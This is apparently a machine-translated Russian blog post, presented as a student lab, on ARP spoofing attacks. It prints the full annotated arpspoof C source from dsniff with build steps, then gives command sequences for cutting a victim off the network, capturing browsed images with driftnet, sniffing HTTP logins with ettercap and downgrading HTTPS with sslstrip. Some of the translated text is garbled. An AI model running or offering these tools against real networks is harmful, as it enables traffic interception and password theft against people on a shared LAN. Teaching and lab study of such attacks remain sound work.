Принцип атаки спуфинга arp_Принцип и предотвращение атаки arp
Принцип атаки спуфинга arp_Принцип и предотвращение атаки arp

Всем привет, мы снова встретились, я ваш друг Цюаньчжаньцзюнь.

ARPSpoofing

Что такое протокол ARP
  • Когда один хост взаимодействует с другим хостом, ему необходимо знать IP-адрес цели. Однако сетевая карта, передающая данные в локальной сети, не может напрямую идентифицировать IP-адрес, поэтому для преобразования IP-адреса в MAC используется протокол разрешения APR. адрес. Основная функция протокола ARP — запрос MAC-адреса устройства через IP-адрес целевого устройства.
  • На любом хосте локальной сети существует таблица кэша ARP, в которой хранится таблица сравнения связей между IP-адресами и MAC-адресами каждого хоста и маршрутизатора в локальной сети, известных локальной сети. Жизненный цикл таблицы кэша ARP ограничен по времени (обычно не более 20 минут).
  • Ниже приведена структура IPv4 в пакете ARP: ​

Включенная информация: тип, длина, операция, адрес отправителя, адрес назначения.

Что такое ARP-спуфинг-атака
  • На основе следующих принципов: Любой хост может отправить поддельный пакет другому хосту в локальной сети; Любой хост доверяет всем получаемым пакетам; Когда приходит новый пакет ответа, он перезаписывает старую запись, даже если пакет запроса не был отправлен.
  • Например:
  • Предположим, что в локальной сети 4 хоста. Поскольку атаки спуфинга ARP основаны на взаимном доверии между хостами локальной сети, когда A отправляет широковещательный запрос: «Я хочу знать, каков аппаратный адрес IP192.168.0.3?»
  • В это время B, конечно же, ответит: у меня IP192.168.0.3, а мой аппаратный адрес — mac-b. Но в это время C, IP-адрес которого 192.168.0.4, также ответил нелегально: у меня IP 192.168.0.3, а мой аппаратный адрес — mac-c. Причем таких ответов большое количество.
  • Таким образом, A ошибочно решит, что аппаратный адрес 192.168.0.3 — это mac-c, и динамически обновит таблицу кэша. Таким образом, хост C перехватывает данные, отправленные хостом A на хост B. Это процесс подмены ARP.
  • Предположим, что C напрямую притворяется шлюзом. В это время хост C будет постоянно отправлять широковещательные сообщения ARP-спуфинга, громко говоря: Мой IP — 192.168.0.1, а мой аппаратный адрес — mac-c. В это время все хосты в локальной сети. были подделаны. Изменить В это время C будет прослушивать датаграммы, отправленные всей локальной сетью в Интернет.
Часто используемые инструменты для подмены ARP: arpspoof
  • Скомпилируйте и проанализируйте исходный код в среде Ubuntu:
  • Загрузите исходный код dsniff sudo apt-get source dsniff
  • Загрузите, установите и скомпилируйте необходимые зависимости libnet1, libpcap и т. д.:
Язык кода:javascript
копировать
sudo apt-get install libnet1
sudo apt-get install libpcap-dev
sudo apt-get install libnet1-dev
  • Извлеките три файла arp.c, arp.h и arpspoof.c из исходного каталога dsniff, объедините их в один файл arpspoof.c и найдите способ успешно скомпилировать gcc/clang.
  • Объедините его с arpspoof.c, слегка измените и добавьте следующие комментарии:
Язык кода:javascript
копировать
/* * arpspoof.c * * Redirect packets from a target host (or from all hosts) intended for * another host on the LAN to ourselves. * * Copyright (c) 1999 Dug Song <dugsong@monkey.org> * * $Id: arpspoof.c,v 1.5 2001/03/15 08:32:58 dugsong Exp $ * * Improved 2011 by Stefan Tomanek <stefa@pico.ruhr.de> */
//#include "config.h"
#include <sys/types.h> //Основные типы данных системы
/*Содержит caddr_t clock_t comp_t dev_t fd_set fpos_t gid_t ino_t off_t mode_t pid_t ptrdiff_t rlim_t size_t ssize_t time_t uid_t wchar_t*/
#include <sys/param.h>
#include <sys/socket.h> //Объявления функций и определения структур, связанных с сокетами
/*SOCKET_STREAM: потоковый сокет SOCKET_DGRAM: сокет дейтаграммы SOCKET_RAW: необработанный сокет Создайте сокет: сокет() Привяжите локальный порт:bind() Установите соединение: Connect(), Accept(). Порт прослушивания: прослушивать() Передача данных: send(), Recv(). Мультиплексирование ввода/вывода: select() Закройте сокет: closesocket() */
/*Используя директиву #ifdef, мы можем отличить некоторые заголовочные файлы и библиотеки от конкретных. Код, связанный с другими версиями файлов, для повышения универсальности программы. */
#ifdef BSD
#include <sys/sysctl.h> //файл заголовка функции sysctl
#include <net/if_dl.h>
#include <net/route.h>
#ifdef __FreeBSD__ /* XXX */
#define ether_addr_octet octet //Определение сетевого байтового адреса
#endif
#else /* !BSD */
#include <sys/ioctl.h> //Объявление функции, связанной с операциями управления вводом/выводом, например ioctl()
#ifndef __linux__
#include <sys/sockio.h>
#endif
#endif /* !BSD */
#include <net/if.h>
#include <netinet/in_systm.h>
#include <netinet/in.h> //Определение макроса порта, известный ip (loopback), структура sockaddr_in..
/*Сетевое преобразование байтов (ntoh, hton...), широко используемое. */
#include <netinet/if_ether.h> //Структура данных ether_arp
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h> //Имя заголовочного файла, обеспечивающего доступ к API операционной системы POSIX.
#include <string.h>
//#include "config.h"
//#include <sys/types.h>
//#include <sys/param.h>
//#include <netinet/in.h>
//#include <stdio.h>
//#include <string.h>
#include <signal.h> //Часть обработки сигналов в стандартной библиотеке функций C определяет, как обрабатывать различные сигналы при выполнении программы.
#include <err.h>
#include <libnet.h> //libnet Это небольшая библиотека функций интерфейса, в основном используемая C Написанный на этом языке, он обеспечивает функции построения, обработки и отправки низкоуровневых сетевых пакетов данных.
#include <pcap.h> //Эта библиотека захвата пакетов обеспечивает высокоуровневый интерфейс для системы захвата пакетов. С помощью этого механизма можно перехватить все пакеты данных в сети.
#ifndef _ARP_H_
#define _ARP_H_
#include <net/ethernet.h> //Включает несколько структур данных Ethernet, ether_addr (структура кадра Mac),
/*ether_header (заголовок кадра Ethernet)*/
/*Объявляем функцию для поиска таблицы кэша ARP*/
int arp_cache_lookup(in_addr_t ip, struct ether_addr *ether, const char* linf);
#endif
//#include "arp.h"
//#include "version.h"
#ifdef BSD //Реализация функции arp_cache_lookup в системе BSD
/*ip — найти значение IP */
int
arp_cache_lookup(in_addr_t ip, struct ether_addr *ether, const char* linf)
{
int mib[6];
size_t len;                 //длина
char *buf, *next, *end;     //Кэш, следующий, последний
struct rt_msghdr *rtm;      //структура rt_msghdr
struct sockaddr_inarp *sin; //sockaddr_in Это адресная форма сокета в среде Интернета.
struct sockaddr_dl *sdl;
mib[0] = CTL_NET;
mib[1] = AF_ROUTE;
mib[2] = 0;
mib[3] = AF_INET;           // Тип сокета для сетевого протокола IPv4
mib[4] = NET_RT_FLAGS;
mib[5] = RTF_LLINFO;
/*Прототип функции: int sysctl(const int *name,u_int namelen,void *oldp, size_t *oldlenp,const void *newp,size_t newlen); Функция sysctl извлекает системную информацию и позволяет соответствующему процессу устанавливать системную информацию. Она может получать целые числа, строки и т. д. Информация о таблице, информация может быть сброшена через интерфейс командной строки sysctl. Установив для параметра oldp значение NULL и вызвав функцию sysctl, вы можете установить размер доступных данных. Возвращается местоположение, указанное oldlenp. Если новое значение не установлено, для newp должно быть установлено значение NULL, а для nwelen — 0. */
/*функция sysctl не работает и возвращает -1*/
if (sysctl(mib, 6, NULL, &len, NULL, 0) < 0)
return (-1);
/*не удалось выделить буфер, вернуть -1*/
if ((buf = (char *)malloc(len)) == NULL)
return (-1);
/*Устанавливаем для параметра oldp значение buf*/
if (sysctl(mib, 6, buf, &len, NULL, 0) < 0) {
free(buf);
return (-1);
}
end = buf + len;        //Устанавливаем конечную позицию указателя
/*следующий указатель начинает перемещаться от buf до конца,Размер шагаrtm->rtm_msglen */
for (next = buf ; next < end ; next += rtm->rtm_msglen) {
rtm = (struct rt_msghdr *)next;     //Устанавливаем значения указателей rtm, sin, sdl
sin = (struct sockaddr_inarp *)(rtm + 1);
sdl = (struct sockaddr_dl *)(sin + 1);
/*Если s_addr и значение IP-адреса поиска равны и sdl_alen не равен 0*/
if (sin->sin_addr.s_addr == ip && sdl->sdl_alen) {
//Устанавливаем все значения ether_addr_octet в LLADDR(sdl)
memcpy(ether->ether_addr_octet, LLADDR(sdl),
ETHER_ADDR_LEN);
free(buf);      //Освобождаем пространство кэша
return (0);
}
}
free(buf);              //Освобождаем пространство кэша
return (-1);
}
#else /* !BSD */ //Функция поиска в кэше ARP других систем, отличных от BSD
#ifndef ETHER_ADDR_LEN /* XXX - Solaris */
#define ETHER_ADDR_LEN 6
#endif
int
arp_cache_lookup(in_addr_t ip, struct ether_addr *ether, const char* lif)
{
int sock;
struct arpreq ar;
struct sockaddr_in *sin;
memset((char *)&ar, 0, sizeof(ar));
#ifdef __linux__
strncpy(ar.arp_dev, lif, strlen(lif));
#endif
sin = (struct sockaddr_in *)&ar.arp_pa;
sin->sin_family = AF_INET;
sin->sin_addr.s_addr = ip;
/*Прототип функции: int socket(int domain,int type,int protocol) домен: тип протокола, обычно AF_INET Тип: тип розетки протокол: используется для указания номера протокола передачи, используемого сокетом, обычно установленного в 0*/
if ((sock = socket(AF_INET, SOCK_DGRAM, 0)) == -1) {
return (-1);
}
if (ioctl(sock, SIOCGARP, (caddr_t)&ar) == -1) {
close(sock);
return (-1);
}
close(sock);
//Устанавливаем все значения ether_addr_octec в ar.arp_ha.sa_data
memcpy(ether->ether_addr_octet, ar.arp_ha.sa_data, ETHER_ADDR_LEN);
return (0);
}
#endif /* !BSD */
extern char *ether_ntoa(struct ether_addr *);
/*Определение структуры хоста, включая IP-адрес и MAC-адрес*/
struct host {
in_addr_t ip;               
struct ether_addr mac;
};
#define VERSION "version"
static libnet_t *l;
static struct host spoof = {
0};         //обманчивый хост
static struct host *targets;            // хост назначения
static char *intf;
static int poison_reverse;
static uint8_t *my_ha = NULL;
static uint8_t *brd_ha = "\xff\xff\xff\xff\xff\xff";
static int cleanup_src_own = 1;
static int cleanup_src_host = 0;
static void
usage(void)             //arpspoof использует функцию инструкции для печати предложения
{
fprintf(stderr, "Version: " VERSION "\n"
"Usage: arpspoof [-i interface] [-c own|host|both] [-t target] [-r] host\n");
exit(1);
}
/*Функция для отправки arp-пакета, Параметр 1: интерфейс канального уровня libnet, через который можно управлять канальным уровнем. Параметр 2: arpop, чтобы указать работу пакета arp, Параметр 3: локальный аппаратный адрес, Параметр 4: локальный IP, Параметр 5: Аппаратный адрес назначения, Параметр 6: IP-адрес назначения, Параметр 7: Мой аппаратный адрес. */
static int
arp_send(libnet_t *l, int op,
u_int8_t *sha, in_addr_t spa,
u_int8_t *tha, in_addr_t tpa,
u_int8_t *me)
{
int retval;
if (!me) me = sha;
/*libnet_autobuild_arp функция, функция состоит в создании пакета данных arp */
libnet_autobuild_arp(op, sha, (u_int8_t *)&spa,
tha, (u_int8_t *)&tpa, l);
/*функция libnet_build_ethernet, эта функция предназначена для создания пакета данных Ethernet*/
libnet_build_ethernet(tha, me, ETHERTYPE_ARP, NULL, 0, l, 0);
//Выходной сетевой адрес
fprintf(stderr, "%s ",
ether_ntoa((struct ether_addr *)me));
/*Здесь if и else — обработка эха (то есть та часть, которую видят все)*/
if (op == ARPOP_REQUEST) {
fprintf(stderr, "%s 0806 42: arp who-has %s tell %s\n",
ether_ntoa((struct ether_addr *)tha),
libnet_addr2name4(tpa, LIBNET_DONT_RESOLVE),
libnet_addr2name4(spa, LIBNET_DONT_RESOLVE));
}
else {
fprintf(stderr, "%s 0806 42: arp reply %s is-at ",
ether_ntoa((struct ether_addr *)tha),
libnet_addr2name4(spa, LIBNET_DONT_RESOLVE));
fprintf(stderr, "%s\n",
ether_ntoa((struct ether_addr *)sha));
}
retval = libnet_write(l);
if (retval)
fprintf(stderr, "%s", libnet_geterror(l));
libnet_clear_packet(l);
return retval;
}
#ifdef __linux__ //функция arp_force в Linux
static int
arp_force(in_addr_t dst)
{
struct sockaddr_in sin;
int i, fd;
if ((fd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP)) < 0)
return (0);
memset(&sin, 0, sizeof(sin));
sin.sin_family = AF_INET;
sin.sin_addr.s_addr = dst;
sin.sin_port = htons(67);
i = sendto(fd, NULL, 0, 0, (struct sockaddr *)&sin, sizeof(sin));
close(fd);
return (i == 0);
}
#endif
/*функция arp_find, поиск таблицы arp*/
static int
arp_find(in_addr_t ip, struct ether_addr *mac)
{
int i = 0;
do {
if (arp_cache_lookup(ip, mac, intf) == 0)
return (1);
#ifdef __linux__
/* XXX - force the kernel to arp. feh. */
arp_force(ip);
#else
arp_send(l, ARPOP_REQUEST, NULL, 0, NULL, ip, NULL);
#endif
sleep(1);
}
/*Отправляем пакет еще раз 3 раза при условии, что локальное сетевое устройство существует, Оставьте буферное время*/
while (i++ < 3);
return (0);
}
//Находим все целевые арпы
static int arp_find_all() {
struct host *target = targets;
while(target->ip) {
if (arp_find(target->ip, &target->mac)) {
return 1;
}
target++;
}
return 0;
}
static void
cleanup(int sig)
{
int fw = arp_find(spoof.ip, &spoof.mac);
int bw = poison_reverse && targets[0].ip && arp_find_all();
int i;
int rounds = (cleanup_src_own*5 + cleanup_src_host*5);
fprintf(stderr, "Cleaning up and re-arping targets...\n");
for (i = 0; i < rounds; i++) {
struct host *target = targets;
while(target->ip) {
uint8_t *src_ha = NULL;
if (cleanup_src_own && (i%2 || !cleanup_src_host)) {
src_ha = my_ha;
}
/* XXX - on BSD, requires ETHERSPOOF kernel. */
/*Комментарий выше был добавлен автором исходного кода. Это означает, что в системах BSD требуются сторонние модули ядра ETHERSPOOF*/
if (fw) {
arp_send(l, ARPOP_REPLY,
(u_int8_t *)&spoof.mac, spoof.ip,
(target->ip ? (u_int8_t *)&target->mac : brd_ha),
target->ip,
src_ha);
/* we have to wait a moment before sending the next packet */
sleep(1);
}
if (bw) {
arp_send(l, ARPOP_REPLY,
(u_int8_t *)&target->mac, target->ip,
(u_int8_t *)&spoof.mac,
spoof.ip,
src_ha);
sleep(1);
}
target++;
}
}
exit(0);
}
int
main(int argc, char *argv[])
{
extern char *optarg;
extern int optind;
char pcap_ebuf[PCAP_ERRBUF_SIZE];
char libnet_ebuf[LIBNET_ERRBUF_SIZE];
int c;
int n_targets;
char *cleanup_src = NULL;
spoof.ip = 0;
intf = NULL;
poison_reverse = 0;
n_targets = 0;
/* allocate enough memory for target list */
targets = calloc( argc+1, sizeof(struct host) );
/*функция getopt: используется специально для обработки параметров функции. Использование: argc и argv берутся непосредственно из параметров main. Третий параметр описывает требования к команде для всех параметров программы. Сначала мы можем понять конкретное использование, требующее, чтобы два параметра i и t имели значения. Затем, если существуют определенные параметры-значения, значение будет передано в глобальную переменную optarg, чтобы мы могли понять операции в следующем цикле while. */
while ((c = getopt(argc, argv, "ri:t:c:h?V")) != -1) {
switch (c) {
case 'i':
intf = optarg;
break;
// libnet_name2addr4 анализирует доменное имя, а затем формирует IP-адрес разрешения доменного имени и возвращает его в target_ip
case 't':
if ((targets[n_targets++].ip = libnet_name2addr4(l, optarg, LIBNET_RESOLVE)) == -1)
usage();
break;
case 'r':
poison_reverse = 1;
break;
case 'c':
cleanup_src = optarg;
break;
default:
usage();
}
}
argc -= optind;
argv += optind;
if (argc != 1)
usage();
if (poison_reverse && !n_targets) {
errx(1, "Spoofing the reverse path (-r) is only available when specifying a target (-t).");
usage();
}
if (!cleanup_src || strcmp(cleanup_src, "own")==0) { /* default! */
/* only use our own hw address when cleaning up, * not jeopardizing any bridges on the way to our * target */
cleanup_src_own = 1;
cleanup_src_host = 0;
} else if (strcmp(cleanup_src, "host")==0) {
/* only use the target hw address when cleaning up; * this can screw up some bridges and scramble access * for our own host, however it resets the arp table * more reliably */
cleanup_src_own = 0;
cleanup_src_host = 1;
} else if (strcmp(cleanup_src, "both")==0) {
cleanup_src_own = 1;
cleanup_src_host = 1;
} else {
errx(1, "Invalid parameter to -c: use 'own' (default), 'host' or 'both'.");
usage();
}
if ((spoof.ip = libnet_name2addr4(l, argv[0], LIBNET_RESOLVE)) == -1)
usage();
/*pcap_lookupdev Как следует из названия, функция в этой библиотеке pcap используется для поиска доступных сетевых устройств на локальном компьютере. Следующий оператор if вызывает pcap_lookupdev для поиска локального сетевого устройства, если intf (параметр -i пуст) ebuf — это error_buf, используемый для хранения информации об ошибках. */
if (intf == NULL && (intf = pcap_lookupdev(pcap_ebuf)) == NULL)
errx(1, "%s", pcap_ebuf);
/*libnet_init Эта функция существует в библиотеке libnet. Ее функция — открыть устройство сетевого подключения, на которое указывает intf. Информация об ошибках хранится в libnet_ebuf. */
if ((l = libnet_init(LIBNET_LINK, intf, libnet_ebuf)) == NULL)
errx(1, "%s", libnet_ebuf);
struct host *target = targets;
/*Следующий оператор означает, что если target_ip равен 0 или arp_find не может найти target_ip Затем появляется сообщение об ошибке. */
while(target->ip) {
if (target->ip != 0 && !arp_find(target->ip, &target->mac))
errx(1, "couldn't arp for host %s",
libnet_addr2name4(target->ip, LIBNET_DONT_RESOLVE));
target++;
}
if (poison_reverse) {
if (!arp_find(spoof.ip, &spoof.mac)) {
errx(1, "couldn't arp for spoof host %s",
libnet_addr2name4(spoof.ip, LIBNET_DONT_RESOLVE));
}
}
if ((my_ha = (u_int8_t *)libnet_get_hwaddr(l)) == NULL) {
errx(1, "Unable to determine own mac address");
}
//Проблемы обработки сигналов
signal(SIGHUP, cleanup);
signal(SIGINT, cleanup);
signal(SIGTERM, cleanup);
printf("PB13206106,Luo Yongguan");
/*В этом цикле for мы видим основной модуль, который хотим видеть, Функция arp_send используется для отправки поддельных пакетов ARP. */
for (;;) {
struct host *target = targets;
while(target->ip) {
arp_send(l, ARPOP_REPLY, my_ha, spoof.ip,
(target->ip ? (u_int8_t *)&target->mac : brd_ha),
target->ip,
my_ha);
if (poison_reverse) {
arp_send(l, ARPOP_REPLY, my_ha, target->ip, (uint8_t *)&spoof.mac, spoof.ip, my_ha);
}
target++;
}
sleep(2);
}
/* NOTREACHED */
exit(0);
}
  • gccкомпилировать:gcc arpspoof.c -lnet -lpcap -o arpspoof
  • В это время, если компиляция прошла успешно, будет создан исполняемый файл arpspoof. Далее инструмент arpspoof будет использоваться для проведения атаки подмены arp.
  • Использование arpspoof: Usage: arpspoof [-i interface] [-c own|host|both] [-t target] [-r] host
Атака с отключением локальной сети
  • Процесс атаки будет продемонстрирован на двух хостах в локальной сети: один — Ubuntu 172.20.10.11, а другой — Ubuntu 172.20.10.12. Оба хоста являются виртуальными машинами, созданными VirtualBox. В процессе создания обязательно в настройках хоста установите режим подключения сетевой карты виртуальной машины к мостовой сетевой карте, иначе атака не может быть осуществлена. Кстати, поясню Настройки сети виртуальной машины VirtualBoxРазница между четырьмя способами(Справочная ссылка:Настройки сети виртуальной машины VirtualBox ):
    1. Режим NAT: все данные для доступа Vhost к сети предоставляются хостом. Vhost на самом деле не существует в сети. Ни хост, ни какой-либо компьютер в сети не может видеть или получать доступ к существованию Vhost. IP:10.0.2.15 Шлюз: 10.0.2.2 DNS:10.0.2.3 В этом режиме настройки сети IP-адреса всех виртуальных машин, созданных хостом, одинаковы.
    2. Bridged Режим адаптера: имитация режима сетевого моста вполне идеальна. Вы можете понять это следующим образом: он устанавливает мост через сетевую карту хоста и напрямую подключается к сети. Таким образом, он позволяет назначить виртуальной машине независимый IP-адрес в сети, и все сетевые функции точно такие же, как и у реальной машины в сети. IP: обычно назначается DHCP, IP-адрес «локального соединения» с хостом. находятся в одном сегменте сети. Виртуальные машины могут взаимодействовать с хост-машиной.
    3. Внутренний режим: режим внутренней сети, виртуальная машина полностью отключена от внешней сети, и между виртуальными машинами реализуется только режим внутренней сети. IP: DHCP-сервер VirtualBox назначит ему IP-адрес. , обычно получается 192.168.56.101, поскольку он начинается со 101, вы также можете вручную указать 192.168.56.*.
    4. Host-only Режим адаптера: режим хоста. Это более сложный режим, для игры в котором требуются глубокие базовые знания о сети. Можно сказать, что функции, реализованные предыдущими режимами, могут быть реализованы в этом режиме через настройки виртуальной машины и сетевой карты.
  • Проверьте информацию IP в таблице arp в локальной сети: существоватьWin7физический хостcmdВойти:arp -a,Запросите IP-адреса и соответствующие физические MAC-адреса всех интерфейсов:

Выше показаны IP-адреса всех хостов в локальной сети, соответствующих интерфейсу 172.20.10.4, среди которых 172.20.10.11 — атакующий хост, а 172.20.10.12 — атакуемый хост.

  • 再次существовать虚拟主机Войти命令fping -asg 172.20.10.0/27для просмотра172.20.10.0Все оставшиеся хосты в сегменте LAN:
  • Прежде чем начинать атаку, протестируйте атакованный хост и убедитесь, что он имеет доступ к Интернету.
  • Затем проверьте, какой шлюз в локальной сети.
  • Далее мы используем хост 172.20.10.12 для проведения ARP-спуфинга-атаки на хост 172.20.10.11. Откройте 4 терминала на атакующем хосте и в каждом из 4 окон введите следующие команды:
Язык кода:javascript
копировать
  ./arpspoof -i eth0 -t 172.20.10.12 172.20.10.1
./arpspoof -i eth0 -t 172.20.10.1 172.20.10.12
driftnet
echo 0 > /proc/sys/net/ipv4/ip_forward
  • Первые две команды используются для проведения атак ARP и перекомпоновки данных. Третья команда используется для перехвата атаки записи просмотра целевого изображения, которая будет выполнена позже. Четвертая команда используется для преобразования /proc/sys/net/ipv4/. Значение файла ip_forward установлено равным 0, что означает, что пересылка пакетов запрещена, а 1 означает, что она разрешена.
  • После отправки атаки я выполнил операцию ping на атакованной машине и обнаружил, что пинг не удался. Как и ожидалось, сеть была отключена.
  • После установки значения файла /proc/sys/net/ipv4/ip_forward на 1 и последующего его возврата атакуемый хост сможет получить доступ к Интернету.
  • Вложение: Решение неудавшейся атаки на отключение сети arp. 1. Если будет предложено arpspoof: couldn't arp for host ,Возможные причины:,Ошибка настройки IP-адреса шлюза,использоватьfping -asg [сегмент локальной сети]Шлюз запросовIPадрес; 2. Когда решение все еще не может быть решено, arpspoof -i eth0 -t 【Атакованный IP】 【IP-адрес шлюза】 arpspoof -i eth0 -t 【IP-адрес шлюза】 【Атакованный IP】 Оба должны быть казнены. Объяснение команды -i eth0 -t IP1 IP2 Подделайте ip2 и сообщите IP2, что IP вашего компьютера — IP1. Проанализировав это таким образом, вы поймете подмену ARP. 3. Неправильные настройки сетевой карты виртуальной машины также могут привести к сбою атаки. Это может быть связано с тем, что сетевой режим виртуальной машины по умолчанию установлен в сеть. В этом случае IP-адрес атакующей машины и целевой IP-адрес не находятся в одном диапазоне номеров, поэтому. их невозможно обмануть. Просто установите режим моста в настройках сетевой карты виртуальной машины.
Получить историю просмотра изображений целевого хоста в локальной сети.
  • первыйсуществовать攻击主机中安装driftnetинструмент:sudo apt-get install driftnet
  • Поскольку значение файла /proc/sys/net/ipv4/ip_forward ранее было установлено в 1, пересылка пакетов данных разрешена. Когда цель обманута, трафик будет отправлен на атакующий хост, и атакующий хост будет использован. как транзитная станция для перехода к шлюзу.
  • Или ARP-спуфинг,Затем получите изображение локальной сетевой карты.:driftnet

Фотографии, просматриваемые атакованным хостом на Baidu Tieba, были перехвачены.

перехват пароля учетной записи http
  • Основываясь на предыдущей атаке arp, мы расширили ее, чтобы перехватывать пароли сетевых учетных записей в среде http.
  • 一开始все еще和前面一样设置网卡转发以及ARP-спуфинг,然后существовать攻击主机上输入命令:ettercap -Tq -i eth0。(Получите пароли учетных записей из сетевого трафика,-T отображается в текстовом режиме,q находится в тихом режиме)
  • После завершения настроек войдите в систему с учетной записью http и паролем на атакованном хосте, чтобы проверить результаты. Здесь в качестве примера используется платформа онлайн-обучения bb:
  • Как только мы залогинились по 172.20.10.12, мы успешно перехватили номер аккаунта и пароль. Некоторые веб-сайты поддерживают пароли учетной записи на китайском языке. Информация, которую мы здесь перехватываем, может содержать искаженные символы. Здесь мы можем расшифровать URL-адрес, чтобы получить пароль учетной записи на китайском языке.
перехват пароля учетной записи https
  • Передача https с проверкой подлинности сертификата и шифрованием передачи намного более безопасна, чем передача HTTP. Наша идея получить пароль учетной записи для передачи https состоит в том, чтобы заменить https передачей http.,Затем выполните работу по получению учетной записи http и пароля.
  • первый,Воляhttpsперевод конвертируется вhttpпередача инфекции:sslstrip -a -f -k,использоватьsslstripУстановите пакет перед командой:sudo apt-get install sslstrip
  • Далее настраиваем переадресацию сетевой карты.、ARP-спуфинг、Захват сетевых пакетов。здесь и вышеhttpВ основном то же самое,Я не буду говорить больше. (Некоторые браузеры имеют более высокий уровень безопасности.,может повлиять на нашу работу. )
Обсуждение: Анализ возможности межсегментной подмены ARP в глобальной сети.
  • Поскольку в глобальной сети есть только таблица маршрутизации, таблица arp отсутствует. Подмена ARP обычно происходит в одном и том же сегменте сети, но в разных сегментах сети единственной возможностью добиться подмены ARP является перенаправление ICMP. Однако на самом деле существует множество ограничений на пакеты перенаправления ICMP, которые хосту разрешено получать. Эти условия очень затрудняют перенаправление ICMP, поэтому практически невозможно добиться подмены arp в сегментах сети, даже в пределах одной сети. сегмента, разделить их невозможно, поэтому возможность подмены arp в WAN практически равна нулю.
  • В идеале анализ может относиться к следующей ссылке: Анализ и контрмеры на разных сегментах сети
Ссылки

[1] http://www.freebuf.com/sectool/87293.html [2] http://www.freebuf.com/articles/network/74700.html [3] https://www.douban.com/group/topic/15558388/ [4] http://www.bingdun.com/news/security/9591.htm

Заявление об авторских правах: Содержание этой статьи добровольно предоставлено пользователями Интернета, а мнения, выраженные в этой статье, представляют собой только точку зрения автора. Данный сайт лишь предоставляет услуги по хранению информации, не имеет никаких прав собственности и не несет соответствующей юридической ответственности. Если вы обнаружите на этом сайте какое-либо подозрительное нарушение авторских прав/незаконный контент, отправьте электронное письмо, чтобы сообщить. После проверки этот сайт будет немедленно удален.

boy illustration
Неразрушающее увеличение изображений одним щелчком мыши, чтобы сделать их более четкими артефактами искусственного интеллекта, включая руководства по установке и использованию.
boy illustration
Копикодер: этот инструмент отлично работает с Cursor, Bolt и V0! Предоставьте более качественные подсказки для разработки интерфейса (создание навигационного веб-сайта с использованием искусственного интеллекта).
boy illustration
Новый бесплатный RooCline превосходит Cline v3.1? ! Быстрее, умнее и лучше вилка Cline! (Независимое программирование AI, порог 0)
boy illustration
Разработав более 10 проектов с помощью Cursor, я собрал 10 примеров и 60 подсказок.
boy illustration
Я потратил 72 часа на изучение курсорных агентов, и вот неоспоримые факты, которыми я должен поделиться!
boy illustration
Идеальная интеграция Cursor и DeepSeek API
boy illustration
DeepSeek V3 снижает затраты на обучение больших моделей
boy illustration
Артефакт, увеличивающий количество очков: на основе улучшения характеристик препятствия малым целям Yolov8 (SEAM, MultiSEAM).
boy illustration
DeepSeek V3 раскручивался уже три дня. Сегодня я попробовал самопровозглашенную модель «ChatGPT».
boy illustration
Open Devin — инженер-программист искусственного интеллекта с открытым исходным кодом, который меньше программирует и больше создает.
boy illustration
Эксклюзивное оригинальное улучшение YOLOv8: собственная разработка SPPF | SPPF сочетается с воспринимаемой большой сверткой ядра UniRepLK, а свертка с большим ядром + без расширения улучшает восприимчивое поле
boy illustration
Популярное и подробное объяснение DeepSeek-V3: от его появления до преимуществ и сравнения с GPT-4o.
boy illustration
9 основных словесных инструкций по доработке академических работ с помощью ChatGPT, эффективных и практичных, которые стоит собрать
boy illustration
Вызовите deepseek в vscode для реализации программирования с помощью искусственного интеллекта.
boy illustration
Познакомьтесь с принципами сверточных нейронных сетей (CNN) в одной статье (суперподробно)
boy illustration
50,3 тыс. звезд! Immich: автономное решение для резервного копирования фотографий и видео, которое экономит деньги и избавляет от беспокойства.
boy illustration
Cloud Native|Практика: установка Dashbaord для K8s, графика неплохая
boy illustration
Краткий обзор статьи — использование синтетических данных при обучении больших моделей и оптимизации производительности
boy illustration
MiniPerplx: новая поисковая система искусственного интеллекта с открытым исходным кодом, спонсируемая xAI и Vercel.
boy illustration
Конструкция сервиса Synology Drive сочетает проникновение в интрасеть и синхронизацию папок заметок Obsidian в облаке.
boy illustration
Центр конфигурации————Накос
boy illustration
Начинаем с нуля при разработке в облаке Copilot: начать разработку с минимальным использованием кода стало проще
boy illustration
[Серия Docker] Docker создает мультиплатформенные образы: практика архитектуры Arm64
boy illustration
Обновление новых возможностей coze | Я использовал coze для создания апплета помощника по исправлению домашних заданий по математике
boy illustration
Советы по развертыванию Nginx: практическое создание статических веб-сайтов на облачных серверах
boy illustration
Feiniu fnos использует Docker для развертывания личного блокнота Notepad
boy illustration
Сверточная нейронная сеть VGG реализует классификацию изображений Cifar10 — практический опыт Pytorch
boy illustration
Начало работы с EdgeonePages — новым недорогим решением для хостинга веб-сайтов
boy illustration
[Зона легкого облачного игрового сервера] Управление игровыми архивами
boy illustration
Развертывание SpringCloud-проекта на базе Docker и Docker-Compose